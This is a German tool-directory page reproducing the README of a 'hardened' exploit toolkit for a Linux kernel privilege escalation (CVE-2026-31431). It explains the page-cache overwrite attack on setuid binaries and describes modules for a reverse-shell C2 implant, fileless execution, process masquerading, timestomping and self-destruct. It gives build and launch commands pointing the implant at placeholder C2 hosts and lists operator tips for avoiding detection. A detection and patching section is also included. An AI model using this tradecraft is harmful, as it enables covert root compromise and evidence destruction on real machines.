Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
COPY-FAIL — Copy Fail - CVE-2026-31431 - Gehärtete C-Implementierung für Redteam- und autorisierte Penetrationstest-Operationen. ⚠️ Rechtlicher Hinweis: Dieses Tool ist ausschließlich für autorisierte Sicherheitsforschung, autorisierte Penetrationstests und defensive Analysen bestimmt. Verwenden Sie es nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Erlaubnis zum Testen haben. Unbefugter Zugriff auf Computersysteme ist illegal. | Kitploit
Tools/GitLabGitLab/toxy4ny/copy-fail
Privilege EscalationExploitationPost-ExploitationCommand and ControlRed TeamingPayload-EntwicklungBinary-Exploitation
GitLabtoxy4ny/copy-fail

COPY-FAIL

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

Über

Copy Fail - CVE-2026-31431 - Gehärtete C-Implementierung für Redteam- und autorisierte Penetrationstest-Operationen. ⚠️ Rechtlicher Hinweis: Dieses Tool ist ausschließlich für autorisierte Sicherheitsforschung, autorisierte Penetrationstests und defensive Analysen bestimmt. Verwenden Sie es nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Erlaubnis zum Testen haben. Unbefugter Zugriff auf Computersysteme ist illegal.

Repository anzeigenWebseite
1vor 1 MonatNoch nicht geprüft
Teilen

Copy Fail -- CVE-2026-31431

Gehärtete C-Implementierung für Redteam-Operationen und autorisierte Penetrationstests.

⚠️ Rechtlicher Hinweis: Dieses Tool ist ausschließlich für autorisierte Sicherheitsforschung, autorisierte Penetrationstests und defensive Analysen bestimmt. Verwenden Sie es nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben. Unautorisierter Zugriff auf Computersysteme ist illegal.

🚀 Die primäre Entwicklung wurde zu GitLab verlegt.
Dieses Repository wird hier aktiv weiterentwickelt. Für Issues und Beiträge nutzen Sie bitte GitLab.


Inhaltsverzeichnis

  • Überblick
  • Originalforschung
  • Unsere Verbesserungen
  • Architektur
  • Build
  • Verwendung
  • Module
  • Operative Sicherheit
  • Erkennung & Gegenmaßnahmen
  • Danksagungen
  • Lizenz

Überblick

Dieses Projekt ist eine gehärtete, produktionsreife C-Portierung des CVE-2026-31431 ("Copy Fail") Local Privilege Escalation Exploits, der ursprünglich von Theori und Xint am 29. April 2026 veröffentlicht wurde.

Der ursprüngliche Proof-of-Concept war in Python geschrieben und für Forschungsdemonstrationen ausgelegt. Diese Implementierung wandelt ihn in ein Redteam-taugliches Toolkit um, mit:

  • Keine Festplattenartefakte (memfd-basierte dateilose Ausführung)
  • Automatische Zielerkennung (setuid-Binär-Enumeration mit MAC-Bewusstsein)
  • Anti-Forensik (Cache-Verwerfung, Zeitstempel-Wiederherstellung, Selbstzerstörung)
  • Operator-Steuerung (signalgesteuerte Ausführung mit konfigurierbaren Timeouts)
  • Plattformübergreifende statische Builds (x86_64, ARM64, RISC-V via musl/zig)

Originalforschung

CVE-2026-31431: Copy Fail

Schwachstellenmechanismus

Die Schwachstelle befindet sich im AF_ALG-Krypto-Subsystem des Linux-Kernels. Die AEAD-Vorlage authencesn implementiert eine In-Place-Optimierung für die Entschlüsselung: Wenn der Chiffretext über splice() aus dem Page-Cache einer Datei geliefert wird, verwendet der Kernel dieselbe Seite sowohl als Quelle als auch als Ziel.

Der Angriffsablauf:

  1. Eine setuid-Binärdatei (z. B. /usr/bin/su) schreibgeschützt öffnen
  2. Über AF_ALG eine authencesn(hmac(sha256),cbc(aes))-AEAD-Operation einrichten
  3. Chiffretext über splice() aus dem Page-Cache der Zieldatei bereitstellen
  4. Die (fehlschlagende) Entschlüsselungsoperation überschreibt 4 Bytes der Page-Cache-Seite, bevor die Authentifizierung sie ablehnt
  5. Für jedes 4-Byte-Fenster der Nutzlast wiederholen
  6. execve() auf das Ziel ausführen – der Kernel lädt mutierte Seiten aus dem Cache und gewährt setuid-root-Berechtigungen
  7. Die Payload führt zu einer vollständigen Root-Shell

Kernpunkt: Der Inode auf der Festplatte wird niemals verändert. Nur der In-Memory-Page-Cache wird mutiert, was die forensische Erkennung deutlich erschwert als bei herkömmlichen Dateiüberschreib-Exploits.


Unsere Verbesserungen

Dieses Projekt erweitert die ursprüngliche Forschung um Redteam-orientierte Härtungen in neun Modulen.

1. Gehärtetes Exploit-Primitiv (patch_chunk.c)

2. Automatische Zielerkennung (target_discovery.c)

  • Dreiphasen-Scanning: Prioritätsziele → Standardverzeichnisse → Tiefenscan
  • MAC-bewusste Bewertung: Bestraft Binärdateien mit AppArmor/SELinux-Profilen
  • 18 Prioritätsziele: su, sudo, passwd, pkexec, mount, ping, etc.
  • Fallback-Kette: Falls primäres Ziel fehlschlägt, automatische Auswahl des nächstbesten Kandidaten
  • Snap-Bewusstsein: Überspringt /snap (nicht-traditionelle setuid)

3. Anti-Forensik-Suite (anti_forensics.c)

4. Dateilose Ausführung (memfd_exec.c)

  • memfd_create + fexecve: Ausführung ohne Dateisystempfad
  • Tarnung: memfd benannt als kworker, anon_inode, eventfd (fügt sich in /proc/$pid/fd/ ein)
  • Fork-und-Vergiss: Doppel-Fork zur Erzeugung eines Waisenprozesses (PPID=1)
  • Entschlüsselung im Speicher: XOR und RC4 entschlüsseln-dann-ausführen (Payload niemals im Klartext auf der Festplatte)

5. Stage-1 Payload-Auslieferung (stage1.c)

6. Stage-2 C2-Implantat (stage2_template.c)

  • Widerstandsfähige Wiederverbindungsschleife mit exponentiellem Backoff
  • Drei Verteilungen: gleichmäßig, dreieckig, exponentieller Jitter
  • Signalsteuerung: SIGUSR1 (auslösen), SIGUSR2 (Status), SIGTERM (Herunterfahren)
  • DNS-Beaconing: Heimliche C2-Health-Check vor TCP-Verbindung
  • Prozess-Maskerade: [kworker/N:0] in ps/top

7. Prozessversteck (proc_hide.c)

  • argv[0]-Überschreiben: In-Place-Ersetzung von /proc/$pid/cmdline
  • prctl(PR_SET_NAME): Kernel-Thread-ähnliche Namen (16-Byte-Limit)
  • Umgebungssanitisierung: Selektives Löschen von SSH_*, AWS_*, TOKEN*, etc.
  • Elternablösung: setsid() + setpgid() für Terminalunabhängigkeit

8. Signal-Trigger-Steuerung (signal_trigger.c)

ModusVerhaltenEinsatzfall
trigger_oneshot()

Null-CPU-Warten: sigsuspend() anstelle von Polling-Schleifen.

9. Schlaf-Jitter (sleep_jitter.c)

  • Drei RNG-Backends: getrandom(2), /dev/urandom, rdtsc-Fallback
  • Ablehnungsabtastung: Beseitigt Modulo-Bias bei gleichmäßiger Verteilung
  • Drift-Kompensation: sleep_scheduled() hält das durchschnittliche Intervall trotz Jitter ein
  • Sandbox-Erkennung: check_sandbox_acceleration() erkennt gepatchtes sleep()

Architektur

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│                     exploit.c (Orchestrator)                 │
│  ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐          │
│  │  Verstecke │ │Entdecke │ │  Exploit │ │  Bereinige│          │
│  │ Prozess │ │ Ziel    │ │         │ │         │          │
│  └────┬────┘ └────┬────┘ └────┬────┘ └────┬────┘          │
│       │           │           │           │                │
│       ▼           ▼           ▼           ▼                │
│  ┌─────────────────────────────────────────────────────┐  │
│  │              Core Module Layer                        │  │
│  │  patch_chunk.c  target_discovery.c  anti_forensics.c  │  │
│  └─────────────────────────────────────────────────────┘  │
│       │           │           │           │                │
│       ▼           ▼           ▼           ▼                │
│  ┌─────────────────────────────────────────────────────┐  │
│  │              Delivery & Evasion Layer               │  │
│  │  stage1.c  memfd_exec.c  proc_hide.c                │  │
│  │  signal_trigger.c  sleep_jitter.c                   │  │
│  └─────────────────────────────────────────────────────┘  │
│       │           │           │           │                │
│       ▼           ▼           ▼           ▼                │
│  ┌─────────────────────────────────────────────────────┐  │
│  │              Payload Layer (Stage-2)                │  │
│  │  stage2_template.c  (reverse shell / C2 implant)    │  │
│  └─────────────────────────────────────────────────────┘  │
└─────────────────────────────────────────────────────────────┘

Build

Voraussetzungen

  • GCC oder Clang
  • GNU Make
  • Linux-Header (linux-libc-dev oder Äquivalent)
  • Optional: musl-tools (für kleine statische Builds)
  • Optional: zig (für moderne Cross-Kompilierung)
  • Optional: dpkg-deb (für Debian-Paketierung)

Schnellstart

root@kitploit:~
# Standard Redteam-Build (optimiert, gestrippt, statisch)
make redteam

# Pentest-Build (Symbole, moderate Optimierung)
make pentest

# Debug-Build (ASAN, vollständige Symbole)
make debug

# Schwachstellenprüfer (nicht-destruktiv)
make checker

Cross-Kompilierung

root@kitploit:~
# ARM64 (AWS/Azure Cloud-Ziele)
make cross-arm64

# RISC-V
make cross-riscv

# ARM HF (Eingebettet/IoT)
make cross-armhf

# Zig Cross-Kompilierung (keine Toolchain-Installation)
make cross-zig-arm64
make cross-zig-riscv

musl Statischer Build (Kleine Binärdateien)

root@kitploit:~
make musl-static
# Erzeugt ~50–100 KB statische Binärdateien ohne glibc-Abhängigkeit

Debian-Paket

root@kitploit:~
make deb VERSION=1.0.0
# Erzeugt: build/deb/copy-fail-cve-2026-31431-1.0.0.deb

Build-Informationen

root@kitploit:~
make info
# Zeigt: CC, CFLAGS, LDFLAGS, Architektur, Toolchain-Verfügbarkeit

Verwendung

Standardmodus (Signalgesteuert)

root@kitploit:~
# Implantat bereitstellen
./exploit &
IMP_PID=$!

# Ausnutzung per Signal auslösen
kill -USR1 $IMP_PID

# Status anfordern (keine Aktion)
kill -USR2 $IMP_PID

# Sauberes Herunterfahren
kill -TERM $IMP_PID

Sofortige Ausführung

root@kitploit:~
./exploit -t                    # Sofort auslösen, kein Signal warten
./exploit -t -c c2.example.com -p 9999

Benutzerdefinierte Konfiguration

root@kitploit:~
./exploit \
  -c c2.redteam.internal \      # C2-Hostname
  -p 4444 \                      # C2-Port
  -d 300 \                       # 5-minütige anfängliche Verzögerung
  -T 7200 \                      # 2-Stunden-Trigger-Timeout
  -n                             # Schwachstellenverifikation überspringen

Nicht-destruktiver Schwachstellencheck

root@kitploit:~
./vulnerable
# Exit-Code: 100 = verwundbar, 0 = gepatcht, andere = Fehler

Module


Operative Sicherheit

Redteam Best Practices

  1. Während zeiten mit geringer Aktivität bereitstellen, um Korrelation zu minimieren
  2. Exponentiellen Jitter für Wiederverbindungsintervalle verwenden (vermeidet Beaconing-Erkennung)
  3. Über SIGUSR1 auslösen anstelle von Auto-Trigger (Operator behält Kontrolle)
  4. Stets Bereinigung ausführen (full_cleanup) auch wenn der Exploit fehlschlägt
  5. memfd-Ausführung gegenüber festplattenbasierten Payloads bevorzugen
  6. Doppel-Fork für Persistenz (memfd_fork_exec_detach)
  7. Vor der Ausführung auf Sandbox-Beschleunigung prüfen

Forensische Artefakte


Erkennung & Gegenmaßnahmen

Defensive Erkennung

Gegenmaßnahmen

  1. Kernel-Patch: Upgrade auf Linux >= 6.14 mit Commit a664bf3d603d
  2. Livepatch: Distro-spezifisches Backport anwenden
  3. SELinux/AppArmor: Profile für setuid-Binärdateien erzwingen
  4. eBPF-Überwachung: Trace AF_ALG + splice()-Kombinationen
  5. Page-Cache-Verifikation: Periodische Integritätsprüfungen auf kritischen Binärdateien

Danksagungen

Originalforschung

  • Theori – Jinoh Kang, Yonghwi Jin, Seunghyun Lee
  • Xint – Gemeinsame Offenlegung
  • Writeup: https://copy.fail/
  • Original PoC: theori-io/copy-fail-CVE-2026-31431

Basis-C-Port

  • Tony Gies – tgies/copy-fail-c
  • Bereitstellung der grundlegenden C-Implementierung unter Verwendung von nolibc
  • Plattformübergreifende Syscall-Wrapper und Build-Infrastruktur

Dieser gehärtete Fork

  • Redteam-orientierte Härtung in 9 Modulen
  • Operative Sicherheitsfeatures (Anti-Forensik, Tarnung, Stealth)
  • Cross-Kompilierungsunterstützung (musl, zig, Multi-Arch)
  • Signalbasierte Operatorsteuerung und konfigurierbare Ausführungsmodi

Danksagungen

  • Linux-Kernel-Entwickler für memfd_create(2) und fexecve(3)
  • nolibc-Betreuer für die Header-Only-libc-Alternative
  • musl-libc-Projekt für kleine statische Binärdateien
  • Zig-Projekt für moderne Cross-Kompilierungs-Toolchain

Lizenz

Dieses Projekt ist dual-lizenziert unter:

  • LGPL-2.1-or-later
  • MIT

Siehe die einzelnen Quelldateien für SPDX-Identifikatoren.

Die Originalforschung und der Basis-C-Port bleiben unter ihren jeweiligen Lizenzen. Der zusätzliche Code dieses Forks wird unter der oben genannten Dual-Lizenz bereitgestellt, um eine maximale Kompatibilität mit Open-Source- und kommerziellen Sicherheitsforschungsszenarien zu gewährleisten.


Haftungsausschluss

Diese Software wird nur für autorisierte Sicherheitsforschung und autorisierte Penetrationstests bereitgestellt. Die Autoren übernehmen keine Haftung für Missbrauch oder Schäden, die durch diese Software verursacht werden. Holen Sie stets eine ordnungsgemäße Autorisierung ein, bevor Sie Systeme testen, die Ihnen nicht gehören.

Wenn Sie diese Schwachstelle auf Ihren Systemen entdecken:

  • Wenden Sie den Kernel-Patch an (Commit a664bf3d603d oder Distro-Backport)
  • Überwachen Sie auf Indikatoren einer Kompromittierung (IoCs), die oben aufgeführt sind
  • Prüfen Sie /var/log/audit/ und EDR-Telemetrie auf AF_ALG-Anomalien
Tool herunterladen
AttributWert
Bekanntgabedatum29. April 2026
ForscherTheori (Jinoh Kang, Yonghwi Jin, Seunghyun Lee), Xint
Writeuphttps://copy.fail/
Original PoCtheori-io/copy-fail-CVE-2026-31431 (Python)
C Port (Basis)tgies/copy-fail-c von Tony Gies
Betroffene KernelLinux 4.14 – 6.14 (vor Fix-Commit a664bf3d603d)
SchweregradCVSS 7.8 (Hoch) – Lokale Privilegieneskalation
MerkmalOriginalUnsere Implementierung
Socket-VerwaltungNeuer Socket pro ChunkSocket-Wiederverwendung (~60% weniger Syscalls)
VerifikationKeinemmap + memcmp mit automatischem Wiederholungsversuch (3 Versuche)
Parallele SchreibvorgängeNur sequentiellFork-basiert parallel (bis zu 16 Prozesse)
FehlercodesBinär Erfolg/FehlschlagGranular: 0=verifiziert, 1=gepatchter Kernel, -1=schwerwiegend
Heap-Allokationenmalloc im heißen PfadNur Stack (kein Allokations-Jitter)
TechnikZweck
posix_fadvise(POSIX_FADV_DONTNEED)Pro-Datei Page-Cache-Räumung
echo 3 > /proc/sys/vm/drop_cachesGlobaler Cache-Drop (nach Root)
utimensat() TimestompUrsprüngliche atime/mtime wiederherstellen
SelbstzerstörungDropper-Binärdatei vor exec mit Nullen überschreiben
Speicherbereinigungvolatile-Nullung sensitiver Puffer
KanalTarnungGeschwindigkeitFallback-Priorität
EingebettetMaximalSofortLetzter (Airgap)
HTTP direktMittel<1sErster
System curl/wgetNiedrig1-3sZweiter (HTTPS-Support)
DNS TXTHochLangsamDritter (Firewall-Bypass)
Schlafen → auslösen → ausführen → beenden
Hit-and-Run
trigger_daemon()Schlafen → auslösen → ausführen → SchleifePersistierendes Implantat
trigger_auto()Schlafen mit Timeout-FallbackUnbeaufsichtigte Operationen
ModulDatei(en)Zweck
Exploit-Primitivpatch_chunk.c/hAF_ALG/splice Page-Cache-Mutation
Zielerkennungtarget_discovery.c/hAutomatisches Scannen und Bewerten von setuid-Binärdateien
Anti-Forensikanti_forensics.c/hBereinigung, Timestomp, Selbstzerstörung
Stage-1-Auslieferungstage1.c/hDateiloser Payload-Abruf und -Ausführung
Stage-2 C2stage2_template.c/hReverse Shell mit Wiederverbindungsschleife
memfd-Ausführungmemfd_exec.c/hAnonyme Dateiausführungsprimitiven
Prozessversteckproc_hide.c/hargv/cmdline/comm-Verschleierung
Signalsteuerungsignal_trigger.c/hOperator-gesteuerte Ausführung
Schlaf-Jittersleep_jitter.c/hZufällige Verzögerungen mit Verteilungen
Orchestratorexploit.cHaupt-Einstiegspunkt und Koordination
Prüfervulnerable.cNicht-destruktive Schwachstellensonde
ArtefaktOrtAbschwächung
Mutierter Page-CacheNur RAMdrop_page_cache_for_file()
Binärpfad/proc/$pid/exememfd (zeigt als (deleted))
Kommandozeile/proc/$pid/cmdlineoverwrite_argv()
Prozessname/proc/$pid/commprctl(PR_SET_NAME)
Zeitstempelstat() auf Zieltimestomp_file()
Dropper-BinärdateiAuf Festplatteself_destruct_and_exec()
Netzwerkverbindungennetstat, EDRDNS-Beaconing, Jitter
IndikatorErkennungsmethode
AF_ALG-Socket + splice()-MustereBPF-Syscall-Tracing
memfd_create mit verdächtigen Namen/proc/$pid/fd/-Überwachung
Prozessnamen in eckigen Klammern im UserspaceProzessanomalie-Erkennung
Regelmäßige DNS-Abfragen an eine einzelne DomainDNS-Analytik
Page-Cache-IntegritätsinkonsistenzKernel-Speicherforensik